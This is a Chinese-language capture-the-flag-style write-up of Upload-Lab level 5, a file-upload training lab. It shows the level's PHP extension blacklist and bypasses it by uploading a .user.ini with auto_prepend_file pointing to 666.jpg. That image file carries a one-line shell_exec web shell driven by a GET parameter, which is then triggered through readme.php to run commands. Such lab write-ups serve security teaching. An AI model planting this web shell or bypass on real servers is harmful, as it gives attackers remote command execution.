Upload-Lab第五关:如何巧妙利用.user.ini配置文件绕过黑名单验证

安全
本文我们利用 .user.ini文件的特性,成功绕过了服务器的安全检查并执行了恶意代码。

关卡介绍

upload-lab是一个用于练习文件上传漏洞的演练平台。在第五关中,我们将探索如何利用 .user.ini 文件包含漏洞来攻破这一关卡。此关卡的核心在于利用PHP的 user_ini文件特性绕过安全检查,最终实现恶意代码执行。

以下第5关的核心代码:

is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

在观察源码后,发现源码中将所有可解析的文件后缀名都明确列出,包括大小写转换、空格和点号等处理。因此,无法正常上传PHP类文件,并且 .htaccess文件的上传也被拒绝。然而,通过仔细检查,发现有两个后缀名没有被限制,它们是 .php7和 .ini。

关于user.ini

从 PHP 5.3.0 开始,PHP 支持每个目录使用 .user.ini 文件,这类似于 Apache 的 .htaccess 文件。这种文件只会被 CGI/FastCGI 模式的 PHP 处理,因此 PECL 的 htscanner 扩展就不再需要了。如果你使用 Apache 服务器,可以通过 .htaccess 文件实现相同的效果。

除了主配置文件 php.ini 之外,PHP 还会在每个目录中查找 .user.ini 文件,从执行的 PHP 文件所在目录一直向上查找,直到找到 web 根目录(由 $_SERVER['DOCUMENT_ROOT'] 指定)。如果 PHP 文件在 web 根目录之外,只会扫描该目录。

在 .user.ini 文件中,只能使用具有 PHP_INI_PERDIR和PHP_INI_USER 模式的配置指令。

有两个新的配置指令控制 .user.ini 文件的使用:

  • user_ini.filename:设置 PHP 在每个目录中查找的文件名。如果设置为空字符串,PHP 就不会查找这些文件。默认值是 .user.ini。
  • user_ini.cache_ttl:控制重新读取 .user.ini 文件的时间间隔。默认是 300 秒(5 分钟)。

.user.ini 文件中的配置会像 php.ini 中的配置一样被 PHP 处理,这可能会导致文件解析漏洞。要触发 .user.ini 解析漏洞,需要满足以下三个条件:

  • 服务器使用PHP作为脚本语言。
  • 服务器运行在 CGI/FastCGI 模式下。
  • 上传目录中有可执行的PHP文件。

解法步骤

(1) 编写 .user.ini 文件

首先,我们需要创建一个 .user.ini 文件,以指示服务器在每个请求前包含我们的 666.jpg 文件。创建一个名为 .user.ini 的文件,内容如下:

auto_prepend_file=666.jpg

该配置将使得 666.jpg在每个PHP请求前自动包含。

(2) 编写恶意 PHP文件

接下来 ,我们需要一个包含恶意代码的PHP文件。这个文件将在 .user.ini 被解析后自动被包含并执行。创建一个名为 666.jpg 的文件,内容如下 :

<?phpecho shell_exec($_GET['pass']); ?>

(3) 上传文件

先将 .user.ini 文件上传到服务器,接着,再将666.jpg上传到服务器。

user_ini文件受到user_ini.cache_ttl这个参数影响,这里有两个选择:

  • 慢慢的等候5分钟,再去访问
  • 直接进去修改php-ini配置文件

把这里的300秒(即默认等5分钟)改为10:

修改后保存php.ini文件并重启服务,静心等候10秒后再进行下一步操作。

(4) 访问并执行

根据关卡5的提示,upload目录中存在一个readme.php,如下图所示:

提示

我通过访问这个readme.php文件,去触发自己上传的脚本文件。该请求将执行 id 命令,并显示当前用户详细信息。如图所示:

webshell执行成功

总结

在upload-lab的第五关中,我们利用 .user.ini文件的特性,成功绕过了服务器的安全检查并执行了恶意代码。这种攻击方式主要依赖于对 PHP 配置文件的理解和巧妙利用,为安全研究人员提供了一个有趣且实用的学习案例。

推荐阅读:

Upload-Lab第一关:轻松绕过前端验证的技巧!

Upload-Lab第二关:如何巧妙绕过MIME类型过滤?

Upload-Lab第三关:如何巧妙应对黑名单文件后缀检测?

Upload-Lab第四关:如何巧用.htaccess破解黑名单验证

责任编辑:赵宁宁 来源: 攻城狮成长日记
相关推荐

2024-08-19 00:05:00

黑名单验证安全验证

2024-08-12 08:29:08

2024-08-08 14:49:02

2024-08-07 11:01:42

2024-08-06 16:16:34

Upload-Lab前端恶意代码

2011-06-02 10:52:11

Android BroadCast 黑名单

2011-01-21 17:53:44

Zimbra

2013-08-27 10:56:24

2015-06-04 11:11:15

2010-11-11 13:20:41

2010-05-24 13:36:11

2021-03-29 08:02:35

面试简历项目

2009-10-29 08:39:14

Windows 7系统激活

2018-06-10 09:04:28

2019-07-29 08:41:33

算法黑名单ip

2011-07-28 11:10:58

2011-03-18 13:14:01

2012-11-23 17:13:59

2010-11-01 09:17:21

超级黑名单腾讯QQ360安全中心

2014-06-06 09:38:22

工信部应用软件黑名单
点赞
收藏

51CTO技术栈公众号